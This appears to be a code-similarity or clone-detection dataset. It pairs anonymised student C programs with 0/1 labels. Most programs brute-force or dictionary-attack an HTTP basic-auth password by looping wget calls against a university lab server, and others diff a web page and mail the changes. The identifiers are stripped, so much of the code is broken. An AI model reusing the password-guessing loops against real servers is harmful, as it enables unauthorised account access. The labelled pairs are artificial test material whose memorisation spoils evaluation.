CharArray[MAXSIZE]; char ch='a'; int i,j; int , end; = time(); strcpy(CharArray,""); for (i=0;i<MINSIZE;i++) { CharArray[i]=ch; ch++; } ch='A'; for (i=MINSIZE;i<MAXSIZE;i++) { CharArray[i]=ch; ch++; } if (argc != 1) { fprintf(stdout,"Usage : ./BruteForce \n"); return(EXIT_FAILURE); } BruteForce(CharArray); getpid(); end = time(); printf("Time Required = %lld msec\n",(end-)/()); return (EXIT_SUCCESS); }
#include<stdio.h> #include<stdlib.h> #include<strings.h> #include<ctype.h> #include <sys/time.h> #define OneBillion 1e9 int () { int startTime, stopTime, final; int i,j,k; int pass,count=0; char arr[52] ={'A','a','B','b','C','c','D','d','E','e','F','f','G','g','H','h','I','i','J','j','K','k','L','l','M','m','N','n','O','o','P','p','Q','q','R','r','S','s','T','t','U','u','V','v','W','w','X','x','Y','y','Z','z'}; char [4]; char url1[100]; char url2[100]; startTime = time(); for (i=0;i<=52;i++) { for (j=0;j<=52;j++) { for(k=0;k<=52;k++) { count++; [0] = arr[i]; [1] = arr[j]; [2] = arr[k]; [3] = '\0'; printf("Checking for the word :%s\n",); strcpy(url1 ,"wget --http-user= --http-passwd="); strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ "); strcat(url1,); strcat(url1,url2); pass = system(url1); if (pass == 0) { printf("Success\n"); printf("Number of attempts = %d\n",count); stopTime = time(); final = stopTime-startTime; printf("The password for the user : %s\n",); printf(" Cracked the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion); exit(1);} } } } }
0
059.c
044.c
#include<stdio.h> #include<strings.h> #include<stdlib.h> #include<ctype.h> #define MINSIZE 26 #define MAXSIZE 52 #define MAX_SIZE 255 int CrackPasswd(char *passwd) { int flag; char string1[MAX_SIZE],string2[MAX_SIZE],[MAX_SIZE]; strcpy(string1,"wget http://sec-crack.cs.rmit.edu./SEC/2/"); strcpy(string2," --http-user= --http-passwd='"); strcpy(,""); strcat(, string1); strcat(, string2); strcat(, passwd); strcat(, "'"); printf("Sending Request as %s\n",); flag = system(); if (flag == 0) { printf("\nPassword is %s\n",passwd); return 1; } strcpy(,""); return 0; } int BruteForce(char *CharArray) { int i, j, k; char passwd[MAX_SIZE]; for (i=0;i<MAX_SIZE;i++) passwd[i] = '\0'; for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; if(CrackPasswd(passwd) == 1) return 1; } for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; for(j=0;j<MAXSIZE;j++) { passwd[1] = CharArray[j]; if(CrackPasswd(passwd) == 1) return 1; } } for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; for(j=0;j<MAXSIZE;j++) { passwd[1] = CharArray[j]; for(k=0;k<MAXSIZE;k++) { passwd[2] = CharArray[k]; if(CrackPasswd(passwd) == 1) return 1; } } } return 0; } int (int argc, char *argv[]) { char CharArray[MAXSIZE]; char ch='a'; int i,j; int , end; = time(); strcpy(CharArray,""); for (i=0;i<MINSIZE;i++) { CharArray[i]=ch; ch++; } ch='A'; for (i=MINSIZE;i<MAXSIZE;i++) { CharArray[i]=ch; ch++; } if (argc != 1) { fprintf(stdout,"Usage : ./BruteForce \n"); return(EXIT_FAILURE); } BruteForce(CharArray); getpid(); end = time(); printf("Time Required = %lld msec\n",(end-)/()); return (EXIT_SUCCESS); }
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <ctype.h> char *itoa(int); int () { int t,t1,t2, timeinsec; int nofattempts = 0; char url[80], url1[80], *ur1, *ur2; strcpy(url, "wget --http-user= --http-passwd="); strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt"); int i = 65; int j ; int k ; char *c1, *c2, *c3; char *c12, pass[4]; int syst = 1; char a = 'a'; char inside[50]; t1 = time(); for (i = 65; i <= 122; i++) { if (i > 90 && i < 97) continue; for (j = 65; j <= 122; j++) { if (j > 90 && j < 97) continue; for (k = 65; k <= 122; k++) { fflush(stdin); if (k > 90 && k < 97) continue; c1 = itoa(i); c2 = itoa(j); c3 = itoa(k); pass[0] = *c1; pass[1] = *c2; pass[2] = *c3; pass[3] = '\0'; strcat(url, pass); strcat(url, url1); ++nofattempts; syst = system(url); printf("%s\n",pass); if (syst == 0) { t2 = time(); t = t2 - t1; timeinsec = t / 1000000000; printf(" Total .of attempts :- %d", nofattempts); printf("\n !!! 's the password:- %s\n", pass); printf("\n Brute force has taken much of time_var :- %lld seconds\n", timeinsec); exit(1); } strcpy(url, ""); strcpy(url, "wget --http-user= --http-passwd="); } } } exit(0); } char *itoa(int a) { char *[26] = { "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z" }; char *[26] = { "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z" }; char *ret; if ( a >= 97 && a <= 122) { ret = [a-97]; return ret; } if ( a >= 65 && a <= 90) { ret = [a-65]; return ret; } return "5"; }
0
059.c
051.c
#include<stdio.h> #include<strings.h> #include<stdlib.h> #include<ctype.h> #define MINSIZE 26 #define MAXSIZE 52 #define MAX_SIZE 255 int CrackPasswd(char *passwd) { int flag; char string1[MAX_SIZE],string2[MAX_SIZE],[MAX_SIZE]; strcpy(string1,"wget http://sec-crack.cs.rmit.edu./SEC/2/"); strcpy(string2," --http-user= --http-passwd='"); strcpy(,""); strcat(, string1); strcat(, string2); strcat(, passwd); strcat(, "'"); printf("Sending Request as %s\n",); flag = system(); if (flag == 0) { printf("\nPassword is %s\n",passwd); return 1; } strcpy(,""); return 0; } int BruteForce(char *CharArray) { int i, j, k; char passwd[MAX_SIZE]; for (i=0;i<MAX_SIZE;i++) passwd[i] = '\0'; for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; if(CrackPasswd(passwd) == 1) return 1; } for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; for(j=0;j<MAXSIZE;j++) { passwd[1] = CharArray[j]; if(CrackPasswd(passwd) == 1) return 1; } } for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; for(j=0;j<MAXSIZE;j++) { passwd[1] = CharArray[j]; for(k=0;k<MAXSIZE;k++) { passwd[2] = CharArray[k]; if(CrackPasswd(passwd) == 1) return 1; } } } return 0; } int (int argc, char *argv[]) { char CharArray[MAXSIZE]; char ch='a'; int i,j; int , end; = time(); strcpy(CharArray,""); for (i=0;i<MINSIZE;i++) { CharArray[i]=ch; ch++; } ch='A'; for (i=MINSIZE;i<MAXSIZE;i++) { CharArray[i]=ch; ch++; } if (argc != 1) { fprintf(stdout,"Usage : ./BruteForce \n"); return(EXIT_FAILURE); } BruteForce(CharArray); getpid(); end = time(); printf("Time Required = %lld msec\n",(end-)/()); return (EXIT_SUCCESS); }
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <sys/time.h> #include <strings.h> #include <ctype.h> int () { int time1, time2, time_var; int timeinsec, nofattempts; char url[100], url1[80]; strcpy(url, "wget --http-user= --http-passwd="); strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt"); char word[15], *chk; chk = "word"; FILE *fp; int syst = 1; fp = fopen("words", "r"); time1 = time(); while(chk != NULL) { chk = fgets(word, 15, fp); if (chk == NULL) exit(1); word [ strlen(word) - 1 ] = '\0'; strcat(url, word); strcat(url, url1); if (strlen(word) == 3) { syst = system(url); nofattempts = nofattempts + 1; printf("\n %s %d\n",word,nofattempts); } if (syst == 0) { time2 = time(); time_var = time2 - time1; timeinsec = time_var/1000000000; printf("\n The Password is: %s",word); printf("\n of Attempts: %d\n",nofattempts); printf("\n Time Taken: %d seconds\n", timeinsec); exit(1); } strcpy(url, ""); strcpy(url, "wget --http-user= --http-passwd="); } }
0
059.c
066.c
#include<stdio.h> #include<strings.h> #include<stdlib.h> #include<ctype.h> #define MINSIZE 26 #define MAXSIZE 52 #define MAX_SIZE 255 int CrackPasswd(char *passwd) { int flag; char string1[MAX_SIZE],string2[MAX_SIZE],[MAX_SIZE]; strcpy(string1,"wget http://sec-crack.cs.rmit.edu./SEC/2/"); strcpy(string2," --http-user= --http-passwd='"); strcpy(,""); strcat(, string1); strcat(, string2); strcat(, passwd); strcat(, "'"); printf("Sending Request as %s\n",); flag = system(); if (flag == 0) { printf("\nPassword is %s\n",passwd); return 1; } strcpy(,""); return 0; } int BruteForce(char *CharArray) { int i, j, k; char passwd[MAX_SIZE]; for (i=0;i<MAX_SIZE;i++) passwd[i] = '\0'; for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; if(CrackPasswd(passwd) == 1) return 1; } for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; for(j=0;j<MAXSIZE;j++) { passwd[1] = CharArray[j]; if(CrackPasswd(passwd) == 1) return 1; } } for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; for(j=0;j<MAXSIZE;j++) { passwd[1] = CharArray[j]; for(k=0;k<MAXSIZE;k++) { passwd[2] = CharArray[k]; if(CrackPasswd(passwd) == 1) return 1; } } } return 0; } int (int argc, char *argv[]) { char CharArray[MAXSIZE]; char ch='a'; int i,j; int , end; = time(); strcpy(CharArray,""); for (i=0;i<MINSIZE;i++) { CharArray[i]=ch; ch++; } ch='A'; for (i=MINSIZE;i<MAXSIZE;i++) { CharArray[i]=ch; ch++; } if (argc != 1) { fprintf(stdout,"Usage : ./BruteForce \n"); return(EXIT_FAILURE); } BruteForce(CharArray); getpid(); end = time(); printf("Time Required = %lld msec\n",(end-)/()); return (EXIT_SUCCESS); }
#include <stdio.h> #include <stdlib.h> #include <time.h> int () { int cntr=0; char get[96]; char username[]=""; char password[16]; int R_VALUE; double time_used; clock_t , end; FILE* fp; fp = fopen("/usr/share/lib/dict/words","r"); = clock(); while ( fscanf(fp,"%s",&password) != EOF ) { if(strlen(password)>3) continue; cntr++; printf("%d >> PASSWORD SEND : %s \n",cntr, password); sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,password); R_VALUE=system(get); if(R_VALUE==0) { printf("The Password has been cracked and it is : %s" , password); exit(0); } } end = clock(); time_used = ((double) (end - )) / CLOCKS_PER_SEC; printf("time_used = %f\n", time_used); }
0
059.c
026.c
#include<stdio.h> #include<strings.h> #include<stdlib.h> #include<ctype.h> #define MINSIZE 26 #define MAXSIZE 52 #define MAX_SIZE 255 int CrackPasswd(char *passwd) { int flag; char string1[MAX_SIZE],string2[MAX_SIZE],[MAX_SIZE]; strcpy(string1,"wget http://sec-crack.cs.rmit.edu./SEC/2/"); strcpy(string2," --http-user= --http-passwd='"); strcpy(,""); strcat(, string1); strcat(, string2); strcat(, passwd); strcat(, "'"); printf("Sending Request as %s\n",); flag = system(); if (flag == 0) { printf("\nPassword is %s\n",passwd); return 1; } strcpy(,""); return 0; } int BruteForce(char *CharArray) { int i, j, k; char passwd[MAX_SIZE]; for (i=0;i<MAX_SIZE;i++) passwd[i] = '\0'; for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; if(CrackPasswd(passwd) == 1) return 1; } for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; for(j=0;j<MAXSIZE;j++) { passwd[1] = CharArray[j]; if(CrackPasswd(passwd) == 1) return 1; } } for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; for(j=0;j<MAXSIZE;j++) { passwd[1] = CharArray[j]; for(k=0;k<MAXSIZE;k++) { passwd[2] = CharArray[k]; if(CrackPasswd(passwd) == 1) return 1; } } } return 0; } int (int argc, char *argv[]) { char CharArray[MAXSIZE]; char ch='a'; int i,j; int , end; = time(); strcpy(CharArray,""); for (i=0;i<MINSIZE;i++) { CharArray[i]=ch; ch++; } ch='A'; for (i=MINSIZE;i<MAXSIZE;i++) { CharArray[i]=ch; ch++; } if (argc != 1) { fprintf(stdout,"Usage : ./BruteForce \n"); return(EXIT_FAILURE); } BruteForce(CharArray); getpid(); end = time(); printf("Time Required = %lld msec\n",(end-)/()); return (EXIT_SUCCESS); }
#include <stdio.h> #include <sys/time.h> #include <strings.h> #include <stdlib.h> #include <ctype.h> int () { FILE *fileopen; char *t_tst,chk[6]; system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir original"); system("mv www.cs.rmit.edu./images/*.* original/"); system("mv www.cs.rmit.edu./students/*.* original/"); sleep(75); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir two"); system("mv www.cs.rmit.edu./images/*.* fresh/"); system("mv www.cs.rmit.edu./students/*.* fresh/"); system("diff one two > image_dif.txt"); fileopen = fopen("imagedif.txt","r"); t_tst = fgets(chk, 6, fileopen); if (strlen(chk) != 0) system("mailx -s \" WatchDog program has observed some Differences \" @.rmit.edu. < image_dif.txt"); return 0; }
0
059.c
067.c
#include<stdio.h> #include<strings.h> #include<stdlib.h> #include<ctype.h> #define MINSIZE 26 #define MAXSIZE 52 #define MAX_SIZE 255 int CrackPasswd(char *passwd) { int flag; char string1[MAX_SIZE],string2[MAX_SIZE],[MAX_SIZE]; strcpy(string1,"wget http://sec-crack.cs.rmit.edu./SEC/2/"); strcpy(string2," --http-user= --http-passwd='"); strcpy(,""); strcat(, string1); strcat(, string2); strcat(, passwd); strcat(, "'"); printf("Sending Request as %s\n",); flag = system(); if (flag == 0) { printf("\nPassword is %s\n",passwd); return 1; } strcpy(,""); return 0; } int BruteForce(char *CharArray) { int i, j, k; char passwd[MAX_SIZE]; for (i=0;i<MAX_SIZE;i++) passwd[i] = '\0'; for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; if(CrackPasswd(passwd) == 1) return 1; } for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; for(j=0;j<MAXSIZE;j++) { passwd[1] = CharArray[j]; if(CrackPasswd(passwd) == 1) return 1; } } for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; for(j=0;j<MAXSIZE;j++) { passwd[1] = CharArray[j]; for(k=0;k<MAXSIZE;k++) { passwd[2] = CharArray[k]; if(CrackPasswd(passwd) == 1) return 1; } } } return 0; } int (int argc, char *argv[]) { char CharArray[MAXSIZE]; char ch='a'; int i,j; int , end; = time(); strcpy(CharArray,""); for (i=0;i<MINSIZE;i++) { CharArray[i]=ch; ch++; } ch='A'; for (i=MINSIZE;i<MAXSIZE;i++) { CharArray[i]=ch; ch++; } if (argc != 1) { fprintf(stdout,"Usage : ./BruteForce \n"); return(EXIT_FAILURE); } BruteForce(CharArray); getpid(); end = time(); printf("Time Required = %lld msec\n",(end-)/()); return (EXIT_SUCCESS); }
#include<stdio.h> #include<stdlib.h> #include<string.h> int main () { FILE *fp; char s[300] , ptr[20]; system("rm *.html* "); system("wget http://www.cs.rmit.edu./students/ "); system("mv index.html First.html"); system("sleep 10"); system("wget http://www.cs.rmit.edu./students/ "); system("diff First.html index.html > difference.txt" ); fp=fopen("difference.txt","r"); if(fgets(ptr,30,fp)) { system( "mailx -s \"Changes were detected \" < difference.txt "); } else printf(" were changes detected"); return 0; }
0
059.c
024.c
#include<stdio.h> #include<strings.h> #include<stdlib.h> #include<ctype.h> #define MINSIZE 26 #define MAXSIZE 52 #define MAX_SIZE 255 int CrackPasswd(char *passwd) { int flag; char string1[MAX_SIZE],string2[MAX_SIZE],[MAX_SIZE]; strcpy(string1,"wget http://sec-crack.cs.rmit.edu./SEC/2/"); strcpy(string2," --http-user= --http-passwd='"); strcpy(,""); strcat(, string1); strcat(, string2); strcat(, passwd); strcat(, "'"); printf("Sending Request as %s\n",); flag = system(); if (flag == 0) { printf("\nPassword is %s\n",passwd); return 1; } strcpy(,""); return 0; } int BruteForce(char *CharArray) { int i, j, k; char passwd[MAX_SIZE]; for (i=0;i<MAX_SIZE;i++) passwd[i] = '\0'; for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; if(CrackPasswd(passwd) == 1) return 1; } for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; for(j=0;j<MAXSIZE;j++) { passwd[1] = CharArray[j]; if(CrackPasswd(passwd) == 1) return 1; } } for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; for(j=0;j<MAXSIZE;j++) { passwd[1] = CharArray[j]; for(k=0;k<MAXSIZE;k++) { passwd[2] = CharArray[k]; if(CrackPasswd(passwd) == 1) return 1; } } } return 0; } int (int argc, char *argv[]) { char CharArray[MAXSIZE]; char ch='a'; int i,j; int , end; = time(); strcpy(CharArray,""); for (i=0;i<MINSIZE;i++) { CharArray[i]=ch; ch++; } ch='A'; for (i=MINSIZE;i<MAXSIZE;i++) { CharArray[i]=ch; ch++; } if (argc != 1) { fprintf(stdout,"Usage : ./BruteForce \n"); return(EXIT_FAILURE); } BruteForce(CharArray); getpid(); end = time(); printf("Time Required = %lld msec\n",(end-)/()); return (EXIT_SUCCESS); }
#include<stdio.h> #include<stdlib.h> #include <sys/types.h> #include <unistd.h> #include <sys/time.h> int () { char lc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; char uc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; char gc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; int a=0,b=0,c=0,d,e,count=0; char [100],temp1[100],temp2[100],temp3[100],temp4[10],temp5[50],p[100],q[50],r[50]; char result,result1,result2,mx[100],mx1,mx2,mx3,mx4; int ,end,t; = time(); while(sizeof(lc)!=52) { temp2[0]=lc[d]; temp2[1]='\0'; d=d+1; strcpy(p,temp2); while(sizeof(uc)!=52) { temp3[0]=uc[b]; temp3[1]='\0'; b=b+1; strcpy(q,p); strcat(q,temp3); for(e=0;e<52;e++) { temp1[0]=gc[e]; temp1[1]='\0'; strcpy(r,q); strcat(r,temp1); strcpy(mx,"wget http://sec-crack.cs.rmit.edu./SEC/2 --http-user= --http-passwd="); strcat(mx,r); printf("temp3=%s\n",mx); if(system(mx)==0) { printf("Password=%s\n",mx); printf("%d \n",count); end = time(); t = (end -); t /= 1000000000.0; printf("The total time_var taken is:%llds\n",t); exit(1); } } } } return 0; }
0
059.c
009.c
#include<stdio.h> #include<strings.h> #include<stdlib.h> #include<ctype.h> #define MINSIZE 26 #define MAXSIZE 52 #define MAX_SIZE 255 int CrackPasswd(char *passwd) { int flag; char string1[MAX_SIZE],string2[MAX_SIZE],[MAX_SIZE]; strcpy(string1,"wget http://sec-crack.cs.rmit.edu./SEC/2/"); strcpy(string2," --http-user= --http-passwd='"); strcpy(,""); strcat(, string1); strcat(, string2); strcat(, passwd); strcat(, "'"); printf("Sending Request as %s\n",); flag = system(); if (flag == 0) { printf("\nPassword is %s\n",passwd); return 1; } strcpy(,""); return 0; } int BruteForce(char *CharArray) { int i, j, k; char passwd[MAX_SIZE]; for (i=0;i<MAX_SIZE;i++) passwd[i] = '\0'; for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; if(CrackPasswd(passwd) == 1) return 1; } for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; for(j=0;j<MAXSIZE;j++) { passwd[1] = CharArray[j]; if(CrackPasswd(passwd) == 1) return 1; } } for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; for(j=0;j<MAXSIZE;j++) { passwd[1] = CharArray[j]; for(k=0;k<MAXSIZE;k++) { passwd[2] = CharArray[k]; if(CrackPasswd(passwd) == 1) return 1; } } } return 0; } int (int argc, char *argv[]) { char CharArray[MAXSIZE]; char ch='a'; int i,j; int , end; = time(); strcpy(CharArray,""); for (i=0;i<MINSIZE;i++) { CharArray[i]=ch; ch++; } ch='A'; for (i=MINSIZE;i<MAXSIZE;i++) { CharArray[i]=ch; ch++; } if (argc != 1) { fprintf(stdout,"Usage : ./BruteForce \n"); return(EXIT_FAILURE); } BruteForce(CharArray); getpid(); end = time(); printf("Time Required = %lld msec\n",(end-)/()); return (EXIT_SUCCESS); }
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <ctype.h> int main() { char *wordptr = " word"; FILE *fp; int syst = 1; char string1[80], string2[50]; strcpy(string1, "wget --http-user= --http-passwd="); strcpy(string2, " http://sec-crack.cs.rmit.edu./SEC/2/"); char words[30]; fp = fopen("words", "r"); while(wordptr != NULL) { wordptr = fgets(words, 30, fp); if (wordptr == NULL) exit(1); words [ strlen(words) - 1 ] = '\0'; strcat(string1, words); strcat(string1, string2); printf("\n %s \n",string1); syst = system(string1); if (syst == 0) { exit(1); } strcpy(string1, ""); strcpy(string1, "wget --http-user= --http-passwd="); printf("%s", words); } }
0
043.c
014.c
#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #include <strings.h> #include <ctype.h> int () { char word[15], *chk; system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir one"); system("mv www.cs.rmit.edu./images/*.* one/"); system("mv www.cs.rmit.edu./students/*.* one/"); sleep(15); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir two"); system("mv www.cs.rmit.edu./images/*.* two/"); system("mv www.cs.rmit.edu./students/*.* two/"); system("diff one two > difference.txt"); system("mailx -s \"Message1\" < difference.txt"); return 0; }
#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #define MINCHAR 65 #define MAXCHAR 122 int bruteforce_first(int passlen, int *attempts); int bruteforce_two(int passlen, int *attempts); int bruteforce_three(int passlen, int *attempts); int main() { int i, wdlen = 1; int runtime; int counter ; int initTime = 0, exitTime = 0, runTime = 0; initTime = time(); if (bruteforce_first(wdlen, &counter) == 2) { wdlen++; if (bruteforce_two(wdlen, &counter) == 3) { wdlen++; if (bruteforce_three(wdlen, &counter) == 0) printf("Success In Breaking The Password"); else printf("Failure !!!!!!"); } } else { printf("Success In Breaking The Password"); } exitTime = time(); runTime = (exitTime - initTime); printf("\nNumber of attempts is... %d", counter); printf("\nTime taken is %lld milli seconds\n", (runTime)/()); return 0; } int bruteforce_first(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; puts(str); (*attempts)++; char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully:"); printf("Password is %s", str); return 0; } } return 2; } int bruteforce_two(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; while (str[0] != MAXCHAR + 1) { for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; (*attempts)++; puts(str); char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully: "); printf("Password is %s", str); return 0; } } i = 0; if (str[i] == 'Z') { str[i] = 'a'; } else str[i]++; } return 3; } int bruteforce_three(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; while (str[0] != MAXCHAR + 1) { for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; (*attempts)++; puts(str); char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully: "); printf("Password is %s", str); return 0; } } i = 1; while (i <= passlen - 1) { if (str[passlen - i - 1] == 'z') { str[passlen - i - 1] = MINCHAR; str[passlen - 1 - 2]++; break; } else { if (str[passlen - i - 1] == 'Z') { str[passlen - i - 1] = 'a'; break; } else { str[passlen - i - 1]++; break; } } i++; } } return 0; }
0
043.c
050.c
#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #include <strings.h> #include <ctype.h> int () { char word[15], *chk; system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir one"); system("mv www.cs.rmit.edu./images/*.* one/"); system("mv www.cs.rmit.edu./students/*.* one/"); sleep(15); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir two"); system("mv www.cs.rmit.edu./images/*.* two/"); system("mv www.cs.rmit.edu./students/*.* two/"); system("diff one two > difference.txt"); system("mailx -s \"Message1\" < difference.txt"); return 0; }
#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #include <strings.h> #include <ctype.h> int () { FILE *fp; char *chk,[4]; int i=1; while (i == 1) { system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir first"); system("mkdir second"); system("mv www.cs.rmit.edu./images/*.* first/"); system("mv www.cs.rmit.edu./students/*.* first/"); sleep(86400); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mv www.cs.rmit.edu./images/*.* second/"); system("mv www.cs.rmit.edu./students/*.* second/"); system("diff first second > imagesdifference.txt"); fp = fopen("imagesdifference.txt","r"); chk = fgets(, 4, fp); if (strlen() != 0) system("mailx -s \"Difference from WatchDog\" < imagesdifference.txt"); } return 0; }
0
043.c
016.c
#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #include <strings.h> #include <ctype.h> int () { char word[15], *chk; system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir one"); system("mv www.cs.rmit.edu./images/*.* one/"); system("mv www.cs.rmit.edu./students/*.* one/"); sleep(15); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir two"); system("mv www.cs.rmit.edu./images/*.* two/"); system("mv www.cs.rmit.edu./students/*.* two/"); system("diff one two > difference.txt"); system("mailx -s \"Message1\" < difference.txt"); return 0; }
#include <string.h> #include <stdlib.h> #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <sys/wait.h> #include <sys/time.h> void emptyFile(char* name) { FILE* myFile; myFile = fopen(name,"w"); fclose(myFile); } int (void) { FILE* myFile; char* myString; myString = malloc(sizeof(char ) * 100); emptyFile(".old.html"); emptyFile(".new.html"); system("wget -O .old.html -q http://www.cs.rmit.edu./students/"); while(1) { emptyFile(".new.html"); system("wget -O .new.html -q http://www.cs.rmit.edu./students/"); system("diff .old.html .new.html > watch.txt"); myFile = fopen("watch.txt","r"); if(myFile != (FILE*) NULL) { fgets(myString,100,myFile); if(strlen(myString) > 0) { system("mail @cs.rmit.edu. < watch.txt"); system("cp .new.html .old.html"); } } sleep(60*60*24); } return 1; }
0
043.c
007.c
#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #include <strings.h> #include <ctype.h> int () { char word[15], *chk; system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir one"); system("mv www.cs.rmit.edu./images/*.* one/"); system("mv www.cs.rmit.edu./students/*.* one/"); sleep(15); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir two"); system("mv www.cs.rmit.edu./images/*.* two/"); system("mv www.cs.rmit.edu./students/*.* two/"); system("diff one two > difference.txt"); system("mailx -s \"Message1\" < difference.txt"); return 0; }
#include <sys/time.h> #include <strings.h> #include <ctype.h> #include <stdio.h> #include <stdlib.h> int main() { system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir home"); system("mv www.cs.rmit.edu./images/*.* home/"); system("mv www.cs.rmit.edu./students/*.* home/"); system("cd www.cs.rmit.edu./images"); sleep(1); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir second"); system("mv www.cs.rmit.edu./images/*.* second/"); system("mv www.cs.rmit.edu./students/*.* second/"); system("cd www.cs.rmit.edu./images"); system("diff home second > difference.txt"); system("mailx -s \"Difference in \" < difference.txt "); return 0; }
1
043.c
054.c
#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #include <strings.h> #include <ctype.h> int () { char word[15], *chk; system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir one"); system("mv www.cs.rmit.edu./images/*.* one/"); system("mv www.cs.rmit.edu./students/*.* one/"); sleep(15); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir two"); system("mv www.cs.rmit.edu./images/*.* two/"); system("mv www.cs.rmit.edu./students/*.* two/"); system("diff one two > difference.txt"); system("mailx -s \"Message1\" < difference.txt"); return 0; }
#include<stdio.h> #include<stdlib.h> #include<string.h> #include<ctype.h> #include<time.h> int () { int m,n,o,i; time_t u1,u2; char v[3]; char temp1[100]; char temp2[100]; char temp3[250]; FILE *fin1; char point[25]; fin1=fopen("./words.txt","r"); if(fin1==NULL) { printf(" open the file "); exit(0); } strcpy(temp2," --http-user= --http-passwd="); strcpy(temp1,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php"); strcpy(temp3,""); (void) time(&u1); while(!feof(fin1)) { fgets(point,25,fin1); if(strlen(point)<=4) { strcpy(temp3,temp1); strcat(temp3,temp2); strcat(temp3,point); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",point); printf("\n\nThe time_var taken crack the passwork is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } } } }
0
043.c
021.c
